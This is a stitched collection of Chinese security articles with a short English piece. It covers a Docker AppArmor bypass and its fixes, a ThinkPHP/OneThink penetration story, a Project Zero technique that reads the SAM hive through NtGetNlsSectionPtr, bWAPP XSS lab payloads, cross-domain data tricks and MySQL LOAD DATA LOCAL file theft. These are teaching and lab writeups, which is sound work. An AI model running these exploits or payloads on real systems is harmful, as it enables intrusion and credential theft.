VOLUME /proc
EOF
docker build -t apparmor-bypass .
docker run --rm -it --security-opt "apparmor=docker-default" apparmor-bypass
# container runs unconfined
其实思路很简单，如果我们可以挂载/proc，那么其中的内容便可以被我们控制，我们通过ADD rootfs 到/
，从而使得相关的AppArmor策略无法在容器进程中生效。
### 如何修复？
github关于该漏洞的修复方法：
#### 修复建议一
如果要挂载的文件路径是/proc，那么判断其是否是proc类型，核心代码如下：
const procPath = "/proc"
path, err := filepath.Rel(filepath.Join(rootfs, procPath), dest)
if err != nil {
return err
}
// check if the path is outside the rootfs
if path == "." || !strings.HasPrefix(path, "..") {
// only allow a mount on-top of proc if it's source is "procfs"
fstype, err := mount.FSType(source)
if err != nil {
if err == mount.ErrNotMounted {
return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
}
return err
}
if fstype != "proc" {
return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
}
### 修复建议二
直接对”.”相对路径进行了判断，这个也是最有针对性的，被最终采纳：
if !strings.HasPrefix(path, "..") {
if path == "." {
// an empty source is pasted on restore
if source == "" {
return nil
}
// only allow a mount on-top of proc if it's source is "proc"
isproc, err := isProc(source)
if err != nil {
return err
}
if !isproc {
return fmt.Errorf("%q cannot be mounted because it is not of type proc", dest)
}
return nil
### 修复建议三
在容器加载AppArmor策略的时候，判断相关文件是不是proc类型的文件，这个也被采纳：
func setProcAttr(attr, value string) error {
// Under AppArmor you can only change your own attr, so use /proc/self/
// instead of /proc/<tid>/ like libapparmor does
path := fmt.Sprintf("/proc/self/attr/%s", attr)
f, err := os.OpenFile(path, os.O_WRONLY, 0)
if err != nil {
return err
}
defer f.Close()
if err := utils.EnsureProcHandle(f); err != nil {
return err
}
_, err = fmt.Fprintf(f, "%s", value)
return err
} | 社区文章 |
这个是2个月前的项目，思路也是挺简单的，还是给兄弟们分享分享，首先还是常规的站点，我们进去看看
可以看见这个网站为thinkphp，当然，当时就很开心，因为自己打tp的站打的太多了，然后再进一步细看。
我们可以得知这个web站点的版本为tp3.2.3。当时的思路为如下。
第一，找xss，找到cookie找到后台，然后tp3.2.3缓存拿下
第二，找注入，出账号密码，进入后台，然后tp3.2.3缓存拿下。
第三，找登录日志，fuzzing出日志，然后拿到后台账号和密码，这三种思路
在找洞的过程中，并没有找到xss和sql注入，所以，我们这边就把思路锁定在了日志身上。然后成功fuzzing出我们的日志，但是却很失望，这个日志就是一些我们扫描器，或者探测sql的payload，丝毫没有半点用处，不过这个日志的位置兄弟们可以大概记一记。
现在只有一个思路，去后台，看看是不是弱口令。很遗憾不是，但是我却发现这个后台很奇怪，不像是tp的框架，敏锐的直觉告诉我，这个站应该是tp二次更改过的，给兄弟们看看网站后台。
然后更具经验习惯性的报错，然后成功的爆出了其版本号。
然后百度了一下，发现其为onethink的模板，然后在网上寻找公开的exp进攻，网上有2个，一个是注入，一个是ssrf，注入失败了，这里就不说了，还有一个就是ssrf。
然后这里说说我的思路，一般用ssrf去读一些配置文件，或者6379的redis，但是这台服务器不能读到有价值的东西，所以，目前的思路就是获取该服务器的真实IP，然后找旁站，将其拿下。
ok,思路理清，开始操作，首先在我的vps上监听，然后用exp打，最终成功的将目标的真实ip打过来了。
burp里的地址为ssrf payload的地址，我们成功将其的真实IP打过来。
然后IP反查，我用的微步，去掉反差错误的ip，总共有39个网站。
然后对这39个网站的后台进行弱口令测试，成功的测出一个弱口令，其实算强口令，密码为网站域名。
然后进入后台以后，在网上搜索exp，成功将其拿下。
最后跨到目标主站，成功将其拿下，此次任务结束。 | 社区文章 |
# 【技术分享】Windows漏洞利用技巧：从任意目录创建到任意文件读取
|
##### 译文声明
本文是翻译文章，文章来源：googleprojectzero.blogspot.sg
原文地址：<https://googleprojectzero.blogspot.sg/2017/08/windows-exploitation-tricks-arbitrary.html>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在过去的几个月里，我在几次会议上介绍了我的“Windows逻辑权限提升指南”心得。会议时长只有2个小时，本来我想介绍的许多有趣的技术及技巧不得已都被删掉了。随着时间的推移，想在培训课程中完整讲述相关知识已经越来越难，因此我决定发表一系列文章，详细介绍Windows漏洞利用中一些小型的、自洽的技巧，这样当我们遇到Windows中类似的安全漏洞时，我们就能直接利用这些技巧开展工作。
在这篇文章中，我会向大家介绍从任意目录创建漏洞到任意文件读取漏洞的漏洞利用技巧。我们可以在很多地方看到任意目录创建漏洞的存在，比如，Linux子系统中就存在这样一个[漏洞](https://bugs.chromium.org/p/project-zero/issues/detail?id=891)。然而，与任意文件创建漏洞相比（任意文件创建漏洞只涉及到将某个DLL文件释放到某个目录中），这类漏洞的利用途径却不是那么明显。你可以滥用[DLL重定向](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682600\(v=vs.85\).aspx)支持这个功能，创建一个名为
**program.exe.local**
的目录来实现DLL植入，然而这种方法并不是特别可靠，因为你只能重定向不在同一目录中的那些DLL（如System32目录），并且只能通过并行（Side-by-Side）模式实现DLL加载。
在本文中，为了演示方便，我会使用[代码仓库](https://github.com/tyranid/windows-logical-eop-workshop)中的一个示例驱动，该驱动已经包含一个目录创建漏洞，我们会使用[NtObjectManager](https://www.powershellgallery.com/packages/NtObjectManager/1.0.7)模块，编写Powershell脚本来利用这个漏洞。这里我介绍的技术并不属于漏洞范畴，但如果你发现了一个单独的目录创建漏洞，你可以尝试着使用这种技巧。
**二、快速回顾**
当使用Win32 API来处理文件时，我们经常会使用两个函数：[CreateFile](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363858\(v=vs.85\).aspx)以及[CreateDirectory](https://msdn.microsoft.com/en-us/library/windows/desktop/aa363855\(v=vs.85\).aspx)。这两个函数在功能上有所不同，因此分成两个函数也能理解。然而，在原生API（Native
API）层面，所涉及的函数只有[ZwCreateFile](https://msdn.microsoft.com/en-us/library/windows/hardware/ff566424\(v=vs.85\).aspx)，内核在调用ZwCreateFile时，会将FILEDIRECTORYFILE或者FILE_NONDIRECTORYFILE传递给CreateOptions参数，借此区分文件以及目录。虽然这个系统调用是用来创建文件的，但所使用的标志的命名方式让人觉得目录才是主要的文件类型，这一点令我难以理解。
以内核驱动中一个非常简单的漏洞为例，如下所示：
NTSTATUS KernelCreateDirectory(PHANDLE Handle, PUNICODESTRING Path) {
IOSTATUSBLOCK iostatus = { 0 };
OBJECTATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, Path, OBJCASE_INSENSITIVE | OBJKERNELHANDLE);
return ZwCreateFile(Handle, MAXIMUMALLOWED, &objattr, &iostatus, NULL, FILEATTRIBUTENORMAL, FILESHAREREAD | FILESHARE_DELETE, FILEOPENIF, FILEDIRECTORYFILE, NULL, 0); }
这段代码中有三个关键点需要注意，这三个关键点决定了这段代码是否存在目录创建漏洞。
**第一点，代码将FILEDIRECTORYFILE传递给CreateOptions参数，这意味着代码准备创建一个目录。**
**第二点，代码将FILEOPENIF传递给Disposition参数，这意味着如果目录不存在，代码会创建该目录，如果目录已存在，代码会打开这个目录。**
**第三点，可能也是最重要的一点，驱动调用了Zw函数，这意味着用来创建目录的调用会直接以内核权限运行，因此就会导致所有的访问检查过程失效**
。在这种情况下，防御目录创建漏洞的方法是将OBJFORCEACCESSCHECK属性标志传递给OBJECTATTRIBUTES，但我们从传给InitializeObjectAttributes的标志中，可以看到程序没有设置正确的标志。
单从这段代码中，我们无法判断目的路径的来源，目的路径可能来自用户输入，也可能是个固定路径。只要这段代码是在当前进程的上下文中运行（或者在用户账户上下文中），那么这个不确定因素就不会造成任何影响。为什么代码运行在当前用户的上下文环境中是非常重要的一个因素？因为这样就能确保当目录被创建时，资源的所有者是当前用户，这意味着你可以修改安全描述符（Security
Descriptor），以拥有目录的完全访问权限。但在许多情况下，这并不是一个非常必需的条件，因为许多系统目录拥有CREATOR
OWNER访问控制权限，以确保目录所有者能够立刻获取全部访问权限。
**三、创建任意目录**
****
如果你想追随本文的脚步，你需要创建一个Windows
10虚拟机（32位或者64位都可以），然后根据zip文件中的setup.txt的详细说明进行操作，这个文件同时也包含了我的示例驱动。接下来你需要安装NtObjectManager
Powershell模块。你可以在Powershell Gallery中找到这个模块，Powershell
Gallery是一个在线的模块仓库，因此你可以访问此链接以了解更多安装细节。
一切准备就绪后，我们可以开始工作了。首先我们来看看如何调用驱动中存在漏洞的代码。驱动程序向用户提供了一个Device
Object（设备对象）接口，名为DeviceWorkshopDriver（我们可以在源代码中找到这个信息)。我们可以向设备对象发送设备IO控制（Device
IO
Control）请求来执行漏洞代码。负责IO控制处理的代码位于device_control.c中，我们非常感兴趣的是其中的调度（dispatch）部分。我们所寻找的正是ControlCreateDir，它接受用户的输入数据，没有检查输入数据就将其当成UNICODE_STRING传递程序代码，以创建目录。如果我们搜索创建IOCTL编号的代码，我们会发现ControlCreateDir为2，因此我们可以使用如下PS代码来创建任意目录。
Get an IOCTL for the workshop driver.
function Get-DriverIoCtl { Param([int]$ControlCode) [NtApiDotNet.NtIoControlCode]::new("Unknown",` 0x800 -bor $ControlCode, "Buffered", "Any") }
function New-Directory { Param([string]$Filename) # Open the device driver. Use-NtObject($file = Get-NtFile DeviceWorkshopDriver) { # Get IOCTL for ControlCreateDir (2) $ioctl = Get-DriverIoCtl -ControlCode 2 # Convert DOS filename to NT $ntfilename = [NtApiDotNet.NtFileUtils]::DosFileNameToNt($Filename) $bytes = [Text.Encoding]::Unicode.GetBytes($ntfilename) $file.DeviceIoControl($ioctl, $bytes, 0) | Out-Null } }
New-Directory函数首先会打开设备对象，将路径转化为原生的NT格式（字节数组），然后在设备上调用DeviceIoControl函数。对于控制代码，我们可以只传递一个整数值，但我编写的NT
API库拥有一个NtIoControlCode类型，可以替你封装所需的整数值。我们可以试一下，看看能否创建一个“c:windowsabc”目录。
代码能够正常工作，我们成功创建了一个任意目录。我们可以使用Get-Acl来获取目录的安全描述符，根据输出信息，我们可以看到目录的所有者为“user”账户，这意味着我们可以获取该目录的完全访问权限。
现在的问题是我们如何利用这个能力。毫无疑问的是，某些系统服务可能会搜索一系列目录，来运行可执行文件或者解析配置文件。但我们最好不要过于依赖这种情况。正如本文标题所述，我们会将这种能力转换为任意文件读取能力，那么我们需要怎么做才能实现这一目标呢？
**四、滥用挂载点（Mount Point）**
****
如果你看过我关于“滥用Windows符号链接”的演讲视频，你就会了解NTFS挂载点（mount
points，有时候也称为Junctions）的工作原理。$REPARSE_POINT这个NTFS属性会与目录一起存储，当打开某个目录时，NTFS驱动就会读取这个属性。该属性包含一个原生NT对象管理器（object
manager），指向符号链接的目的地，该路径会回传给IO管理器以便后续处理。这种机制可以允许挂载点适用于不同的卷（volume），同时也导致了一个非常有趣的特性。具体说来，就是目的路径不一定要指向另一个目录，如果我们将其指向一个文件会发生什么情况呢？
如果你使用的是Win32 API，那么我们的尝试会以失败告终，如果使用的是NT
API，你会得到一个奇怪的悖论。如果你尝试以文件形式打开挂载点，会出现错误提示其是一个目录，如果你尝试以目录形式打开挂载点，错误就会提示这是一个文件。经过验证，我们发现如果不指定FILEDIRECTORYFILE或者FILE_NONDIRECTORYFILE，那么NTFS驱动就会绕过检查过程，挂载点就可以真正重定向到某个文件。
也许我们能找到某些系统服务，依托这些服务，在不使用这些标志的前提下打开我们的文件（如果你将 **FILEFLAGBACKUP_SEMANTICS**
传给CreateFile，这种方式同样也可以移除所有的标志），理想情况下，能否让这些服务读取并返回文件的数据？
**五、区域语言支持**
Windows支持许多不同的语言，为了支持非unicode编码，Windows同样也支持代码页（Code
Pages）。Windows通过区域语言支持（National Language
Support，NLS）库提供了各种接口，你可能会认为这些库全部运行在用户模式下，但如果你查看内核后，你会发现其中存在某些系统调用来支持NLS。本文最为感兴趣的是NtGetNlsSectionPtr这个系统调用。该系统调用会将代码页从System32目录映射到某个进程的内存中，这样NLS库就能访问代码页数据。我们不是完全清楚为什么该调用需要处于内核模式下，这样处理可能只是想让同一台主机上的所有进程都能共享数据。让我们来研究一下简化版的代码，代码篇幅并不大：
NTSTATUS NtGetNlsSectionPtr(DWORD NlsType, DWORD CodePage, PVOID *SectionPointer, PULONG SectionSize) {
UNICODESTRING sectionname; OBJECTATTRIBUTES sectionobjattr;
HANDLE sectionhandle;
RtlpInitNlsSectionName(NlsType, CodePage, §ionname);
InitializeObjectAttributes(§ionobjattr, §ionname, OBJKERNELHANDLE | OBJOPENIF | OBJCASEINSENSITIVE | OBJPERMANENT);
// Open section under NLS directory.
if (!NTSUCCESS(ZwOpenSection(§ionhandle, SECTIONMAPREAD, §ionobjattr))) { // If no section then open the corresponding file and create section. UNICODESTRING filename; OBJECT_ATTRIBUTES objattr; HANDLE filehandle;
RtlpInitNlsFileName(NlsType, CodePage, &file_name);
InitializeObjectAttributes(&obj_attr, &file_name, OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE);
ZwOpenFile(&file_handle, SYNCHRONIZE, &obj_attr, FILE_SHARE_READ, 0);
ZwCreateSection(§ion_handle, FILE_MAP_READ, §ion_obj_attr, NULL, PROTECT_READ_ONLY, MEM_COMMIT, file_handle);
ZwClose(file_handle);
}
// Map section into memory and return pointer.
NTSTATUS status = MmMapViewOfSection( sectionhandle, SectionPointer, SectionSize);
ZwClose(sectionhandle);
return status;
}
首先需要注意的是，代码会尝试使用CodePage参数生成的名称，在 **NLS** 目录下打开一个命名内存区对象（named section
object）。为了弄清具体的名字，我们需要列出这个目录信息：
命名内存区的格式为NlsSectionCP,其中NUM是需要映射的代码页的编号。你还可以注意到这里存在一个内存区用于规范化数据集（normalization
data
set）。哪个文件会被映射取决于第一个NlsType参数，此时此刻我们还不用去考虑规范化数据集。如果代码找不到内存区对象，那么就会创建指向代码页文件的一个文件路径，使用ZwOpenFile打开该路径，然后调用ZwCreateSection来创建一个只读的命名内存区对象。最后，内存区会被映射到内存中，返回给调用者。
这里我们需要注意两件非常重要的事情。首先，对于open调用来说，OBJFORCEACCESSCHECK标志并没有被设置。这意味着即使调用者无法访问某个文件，也可以通过该调用打开该文件。最重要的是，ZwOpenFile的最后一个参数是0，这意味着FILEDIRECTORYFILE或者FILENONDIRECTORYFILE标志都没有被设置。这些标志没有被设置就能够满足我们前面提到的条件，open调用会遵循挂载点的重定向方式，以某个文件为目标，而不会产生任何错误。那么具体的文件路径被设置成什么了呢？我们可以通过反汇编RtlpInitNlsFileName来找到问题的答案。
void RtlpInitNlsFileName(DWORD NlsType, DWORD CodePage, PUNICODE_STRING String) {
if (NlsType == NLS_CODEPAGE) { RtlStringCchPrintfW(String, L"\SystemRoot\System32\c_%.3d.nls", CodePage);
} else {
// Get normalization path from registry.
// NOTE about how this is arbitrary registry write to file.
}
}
该文件名称的格式为“c_.nls”，位于System32目录中。需要注意的是，它使用了一种特殊的符号链接“SystemRoot”，通过设备路径格式指向Windows目录。这样就能防止通过重定向驱动器号来滥用这段代码，但同时也使其满足我们的利用场景。我们还需要注意的是，如果我们请求规范化路径，那么程序就会从主机注册表项中读取相关信息，因此，如果我们掌握注册表任意写入漏洞，我们有可能能利用这个系统调用获得另一个任意读取漏洞，但这个任务就留给有兴趣的读者去做了。
现在我们要做的事情就非常清楚了，那就是在System32中创建一个目录，目录名为c_.nls，设置其重解析数据，将其指向一个任意文件，然后使用NLS系统调用来打开以及映射这个文件。选择合适的代码页编号不是件难事，直接指定一个没用过的编号即可，比如1337。但是我们应该读取哪个文件呢？通常情况下，我们可以选择读取SAM注册表hive文件，该文件包含本地用户的登录信息。然而，访问SAM文件通常会被系统阻拦，因为该文件不可共享，即使以管理员权限以读取方式打开该文件也会遇到共享冲突错误。我们可以使用多种方法来绕过这个限制，我们可以使用注册表备份功能（这需要管理员权限），或者我们可以通过卷影复制（Volume
Shadow Copy）功能获取SAM的一个备份（Windows
10中默认不启用该功能）。因此，我们还是放弃这个任务吧。稍等一下！看起来我们的运气不错，事情有所转机。
Windows文件能否共享取决于我们正在发起的访问请求。比如，如果调用者请求读取权限，但文件没有以读取权限进行共享，那么请求就会失败。然而，我们有可能可以通过特定的无内容权限（non-content
rights）打开这类文件，比如读取安全描述符或者同步文件对象，系统在检查已有的文件共享设置时并不会检查这些权限。如果我们回过头来看NtGetNlsSectionPtr的代码，你会发现代码只向文件发起了SYNCHRONIZE访问权限的请求，因此，即使文件没有共享访问权限，代码依然可以打开目标文件。
但这种方式为什么能够成功？难道ZwCreateSection不需要一个可读的文件句柄来执行只读文件的映射操作吗？答案是肯定的，同时也是否定的。Windows文件对象实际上并不会去在意某个文件是否是可读的或者可写的。当文件被打开时，所创建的句柄就与相应的访问权限相关联。当我们在用户模式下调用ZwCreateSection时，该调用最终会尝试将句柄转化为指向文件对象的一个指针。为了做到这一点，调用者必须指定该句柄需要关联什么访问权限，对于只读映射而言，内核所请求的句柄具备读取数据（Read
Data）访问权限。然而，与对文件的访问权限检查类似，如果内核调用了ZwCreateSection，那么访问权限检查就会被禁用，当将文件句柄转化为文件对象指针时，访问权限检查同样处于禁用状态。这样一来，当文件句柄只具备SYNCHRONIZE访问权限时，ZwCreateSection依然能够执行成功。这意味着我们可以打开系统中的任意文件，无需在意文件的共享模式，SAM文件也不例外。
因此，让我们来完成这一任务吧。我们创建了一个“SystemRootSystem32c_1337.nls”目录，将其转化为一个挂载点，挂载点重定向至“SystemRootSystem32configSAM”。然后我们调用NtGetNlsSectionPtr，请求代码页1337，这样代码就能创建内存区，并将指向内存区的指针返回给我们。最后，我们只需要将已映射的文件内存拷贝到一个新的文件中，就能完成任务。
$dir = "SystemRootsystem32c_1337.nls"
New-Directory $dir
$targetpath = "SystemRootsystem32configSAM"
Use-NtObject($file = Get-NtFile $dir ` -Options OpenReparsePoint,DirectoryFile) { $file.SetMountPoint($targetpath, $target_path) }
Use-NtObject($map = [NtApiDotNet.NtLocale]::GetNlsSectionPtr("CodePage", 1337)) {
Use-NtObject($output = [IO.File]::OpenWrite("sam.bin")) { $map.GetStream().CopyTo($output) Write-Host "Copied file" }
}
在16进制编辑器中加载我们创建的文件，根据文件内容，我们的确窃取到了SAM文件。
为了使攻击过程更加完整，我们需要清理整个战场。我们可以使用“Delete On
Close”标志打开这个目录文件，然后关闭文件，这样就能删掉这个目录（请确保以文件重解析点（reparse
points）的方式打开它，否则我们需要再次打开SAM文件）。对于内存区而言，由于对象是在我们的安全上下文中创建的（与目录类似），这里没有明确可用的安全描述符，因此我们可以使用DELETE访问权限打开它，然后调用ZwMakeTemporaryObject来删除永久性的引用计数，该计数由原始的创建者使用OBJ_PERMANENT标志进行设置。
powershell Use-NtObject($sect = Get-NtSection nlsNlsSectionCP1337 ` -Access Delete) { # Delete permanent object. $sect.MakeTemporary() }
**六、总结**
****
我在这篇文章中介绍技术的并不属于一种漏洞，虽然这种技巧的应用并不是系统所希望看到的。所涉及的系统调用从Windows
7以来就已经存在，也没有发生变化，因此，如果我们发现了一个任意目录创建漏洞，我们就可以使用这种技巧来读取系统上的任意文件，无论这些文件处于被打开或者被共享的状态都可以。我将最终的脚本放在了Github上，你可以阅读相关代码了解更多细节。
当我们在逆向分析某个产品时，我们可以记录下任何存在异常的行为，这种异常点有可能会变成一个可以利用的点，正如我们在这篇文章中看到的那样。在许多情况下，我发现代码本身并没有存在漏洞，但代码拥有一些非常有用的属性，我们可以利用这些属性来构建漏洞利用链。 | 社区文章 |
# 6.bWAPP XSS
## **0x01、XSS - Reflected (GET)**
### **Low**
输入的内容直接输出到页面中:
后台服务端没有对输入的参数进行过滤, 构造一个注入xss payload即可:
`<script>alert(1)</script>`
成功弹窗
### **Medium**
审查源码可以发现服务端进行了过滤, 但只是addslashes()函数而已(防sql注入), 依旧可以xss:
构造一个注入xss payload即可:
`<script>alert(1)</script>`
成功弹窗
### **High**
审查源码可以发现将所有关键字转换为HTML实体, 是安全的:
## **0x02、XSS - Reflected (POST)**
和GET型一样, 只是区别在于GET型的注入直接修改URL的请求即可, POST注入则需要要Post data构造传输post请求:
GET型:
`http://localhost:8080/bWAPP/xss_get.php?firstname=<script>alert(1)</script>`
POST型:
成功弹窗
## **0x03、XSS - Reflected (JSON)**
思考
当查找movie：Iron Man成功时, 就会提示找到:
当查找movie：Iron 不成功时, 就会将输入的字符串显示在界面上:
这就造成了可控变量的存在
### **Low**
构造一个注入xss payload即可:
`<script>alert(1)</script>`
错误信息直接爆出来了..
可以看出来是Json注入,
尝试注入json数据:
`{"result": "<script>alert(1)</script>"}`
发现不行;
再看报错信息, 继续尝试闭合吧:
`"}]}'; <script>alert(1)</script> //`
发现不行, 查看HTML源码, 发现闭合出去之后是处于script之间的:
知道原因之后就简单了:
`"}]}'; alert(document.cookie) //`
成功进行json注入
### **Medium &High**
将所有关键字转换为HTML实体, 安全:
## **0x04、XSS - Reflected (AJAX/JSON)**
通过尝试可以发现本页面是xss_ajax_2-1.php, 通过Ajax调用xss_ajax_2-2.php完成查询:
### **Low &Medium**
有两种方法：
第一种方法：在页面内直接输入XSS的Payload即可
<img src=x onerror=alert(1)>
成功弹窗
在xss_ajax_2-2.php?title=页面也可以直接输入Payload
### **High**
high等级利用了json的解析:
在输入框中注入是直接以字符串的形式输出的, 不会作为html元素或者js执行,
原因就在于xss_ajax_2-2.php中对输入进行了HTM实体编码:
## **0x05、XSS - Reflected (AJAX/XML)**
和上一题一样, 同样通过Ajax跳转到另一个php解析,
发现是xml解析:
### Low&Medium
payload:
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
xmlns是XML Namespaces的缩写,
当加载网站的时候执行alert(1)
### **Medium**
源码中使用了addslashes()函数来进行过滤，因为有转义，所以该函数无效。payload仍可行
### **High**
源码中使用了htmlspecialchars()函数来进行过滤
## **0x06、XSS - Reflected (Back Button)**
点击Go back按钮,
页面会Header到上一个界面:
由于刚刚从上一题到这题, 点击按钮之后就返回了上一个页面
### **Low**
分析源码, 看到是利用了Referer来进行相应地跳转:
闭合绕过
观察, 发现可以闭合绕出input标签, 然后加xss:
构造payload：
Referer:'"><script>alert(1)</script>
成功弹窗
### High
将所有关键字转换为HTML实体, 安全:
## **0x07、XSS - Reflected (Custom Header)**
有的web会加上自定义的http字段信息, 且没有做好过滤
### **Low**
直接在Http头中加入bWAPP字段信息:
payload：
`bWAPP：<script>alert(1)</script>`
成功弹窗
### **Medium**
由于采用了addslashes()函数转义单引号等字符, 但是仍可以xss注入
### **High**
将所有关键字转换为HTML实体, 安全:
## **0x08、XSS - Reflected (Eval)**
### **Low &High**
很明显的一个执行函数eval(), 通过参数date传入可执行的js:
构造payload:
<http://localhost:8080/bWAPP/xss_eval.php?date=alert(1>)
### **Medium**
不影响js代码的执行
## **0x09、XSS - Reflected (HREF)**
web流程大致是先输入姓名, 再进行电影投票:
### **Low**
分析
观察名字被写入了页面中:
于是直接在输入名字的地方xss:
发现在p标签中:
构造payload：
</p> <script>alert(1)</script>
成功闭合
再者, 注意到链接处也可以闭合绕出:
构造payload：
1>Vote</a> <script>alert(1)</script>
成功闭合
### **Medium &High**
源码中使用了urlencode()函数来进行过滤。
## **0x0A、XSS - Reflected (Login Form)**
### **Low**
开始先xss盲打一下:
不行, 输入单引号, 尝试sql注入:
发现单引号后面的内容(123)被输出到页面上, 并且应该是没做过滤的。
于是在单引号后面xss:
构造payload:
bee' 123 <script>alert(1)</script>
成功弹窗
### **Medium**
使用了addslashes()函数来进行过滤，因为有转义，所以该函数无效。
### **High**
用了htmlspecialchars()函数来进行过滤。
## **0x0B、XSS - Reflected (Referer)**
和0x06那关一样, 抓包修改Referer即可。
## **0x0C、XSS - Reflected (User-Agent)**
同理, 抓包修改User-Agent即可。
## **0x0D、 XSS - Stored (Blog)**
同 SQL Injection - Stored (Blog)
## **0x0E、XSS - Stored (Change Secret)**
xss盲打
先把密码修改为xss的payload:
`<script>alert('hack')</script>`
修改成功
进入SQL Injection (Login Form/User)
然后当用户登录的时候, 就会触发xss:
修改前端代码
观察前端, 发现有一个隐藏的input标签:
将type改为text, 然后在其中输入绕出闭合即可xss:
123"> <script>alert(1)</script>
隐藏标签会显示出来
成功弹窗
### **Medium**
使用了addslashes()函数来进行过滤，因为有转义，所以该函数无效。
### **High**
用了htmlspecialchars()函数来进行过滤。
## **0x0F、XSS - Stored (User-Agent)**
同 SQL Injection - Stored (User-Agent)
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。
免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。
转载声明：儒道易行
拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
本文为“小米安全中心”原创
原文地址：https://sec.xiaomi.com/article/17
本文主要介绍几种跨域获取数据的方法，比较基础，但是在跨站漏洞的挖掘和利用上会起到很大的帮助。下面根据个例子简单的把遇到的跨域总结下：
场景：
网站A获取网站B上的资源，需要跨域传输数据
两种情况：
测试环境：
我们这里设置简单点，为了下面的说明，统一设置到test.com域下，只是二级域名不相同。只要不设置document.domain,这样也不算是同域
hosts设置：
ip a.test.com
ip b.test.com
测试需求：
利用a站获取到b站的资源，首先看下同源策略是怎样保证请求数据的安全的。
首先采用直接使用iframe加载，直接使用js来获取数据
B站点要获取的data文件内容：
A站点获取数据html代码：
在chrome下访问A站的getB.html，出现
> Uncaught SecurityError: Failed to read the 'contentDocument' property from
> 'HTMLIFrameElement': Blocked a frame with origin "[http://a.test.com]()"
> from accessing a frame with origin "[http://b.test.com]()". Protocols,
> domains, and ports must match.
同源策略直接进行了阻止,防止进行跨域操作。
很多时候会采用ajax去获取访问数据，下面是获取数据代码：
访问，看chrome下面的提示：
> XMLHttpRequest cannot load [http://b.test.com/data.html](). No 'Access-> Control-Allow-Origin' header is present on the requested resource. Origin
> '[http://a.test.com]()' is therefore not allowed access.
下面分两种情况实现跨域获取数据：
一、B站的资源是可控的
1.通过document.domain来控制
同主域名下iframe控制document.domain进行读取，修改data.html和getB.html内容增加域的设置：
document.domain=”test.com”
再次访问，成功获取到数据信息，这个是最简单的，大域是相同的，都是可以去利用的。其实所有的com网站，cn网站都是一个大域，不过现在浏览器拒绝了这样的请求
2.iframe结合location.hash进行跨域数据获取
B站下data文件：
主要是B站的data文件iframe加载proxy，hash获取到data数据，传递给proxy.html的hash中，proxy获取到hash传递给同源的A站
getB_byhash.html
主要是利用A站获取数据文件iframe加载B站的data文件，data文件又加载A站的proxy文件，proxy的hash中存有B站的数据，proxy和get文件同源，利用parent.parent两个父页面传递出hash
3.通过iframe.name跨域传递数据
B站的data文件为：
A站getB_byname.html的内容：
代码可以变得更简单点：
原理：
主要就是先iframe 加载数据页面，此时window.name传递给了iframe的name，在利用跳转到同源的页面下，输出数据。
4.json劫持
B站的data数据：
var data="I am from B site!!!"
A站的get代码：
5.html5中的postMessage
B站的data数据：
获取数据代码：
这个可以参考下呆子不开口的《对方不想说话并扔了个message》
6.CORS
主要就是通过设置相应头中的 Access-Control-Allow-Origin 字段。前面直接用ajax获取数据时候已经提示了。
Access-Control-Allow-Origin 响应字段说明了该资源或网站所允许被非同源站点访问的站点列表，当 Access-Control-Allow-Origin 中包含网站 A 或者设置为 * 时，网站 A 即可对网站 B 上的资源进行任意访问。
也就是利用ajax请求可以获取到数据信息的。
php文件：
设置 Access-Control-Allow-Origin 允许所有站点访问读取
get代码：
二、B站资源不可控
利用中间代理访问,方法利用php页面去访问数据页面获取到数据，在利用cors传递回来。
代理代码：
A站直接ajax请求proxy即可 | 社区文章 |
**Author:LoRexxar@Knownsec 404Team & Dawu@Knownsec 404Team
Chinese version: <https://paper.seebug.org/1112/> **
This may be a vulnerability that has been released a long time ago, but I saw
Dragon Sector and Cykor used it as a trick to get an unintendend solution for
the challenge h4x0r's club in the offline TCTF2018 final game.
<http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/>
I then realized it was an interesting trick when I was having a discussion
with @Dawu. In the process of tracing this vulnerability, I discovered that
this has remained as a feature of mysql for many years, and has been shared
since 2013.
* [Database Honeypot by design (2013 8月 Presentation from Yuri Goltsev)](https://www.slideshare.net/qqlan/database-honeypot-by-design-25195927)
* [Rogue-MySql-Server Tool (2013年 9月 MySQL fake server to read files of connected clients)](https://github.com/Gifts/Rogue-MySql-Server)
* [Abusing MySQL LOCAL INFILE to read client files (2018年4月23日)](https://w00tsec.blogspot.com/2018/04/abusing-mysql-local-infile-to-read.html)
In the process of digging, we are constantly discovering new ways to use it,
so most of these findings are summarized and prepared for sharing on the CSS.
Let us do the analysis step by step.
# Load Data Infile
Load data infile is a very special syntax. Friends who know about injection or
often play CTF may be familiar with this syntax. In CTF, we often encounter
situations where there is no way to load_file to read the file. At this time,
load data infile is the only possible way to read files. Generally our
statement is this:
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
The mysql server will read the server's / etc / passwd and insert the data
into the table according to `'\n'`. But now this statement also requires you
to have FILE permissions, and non-local loaded statements are also restricted
by `secure_file_priv`.
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
If we add a keyword local.
mysql> load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
Query OK, 11 rows affected, 11 warnings (0.01 sec)
Records: 11 Deleted: 0 Skipped: 0 Warnings: 11
The client's file will be read and send to the server. The execution result of
the above statement is as follows.
Obviously, this statement is not safe, and it is fully explained in the mysql
documentation.
<https://dev.mysql.com/doc/refman/8.0/en/load-data-local.html>
As mentioned in the mysql documentation, **clients should not connect to
untrusted servers**.
And our analysis is based on this.
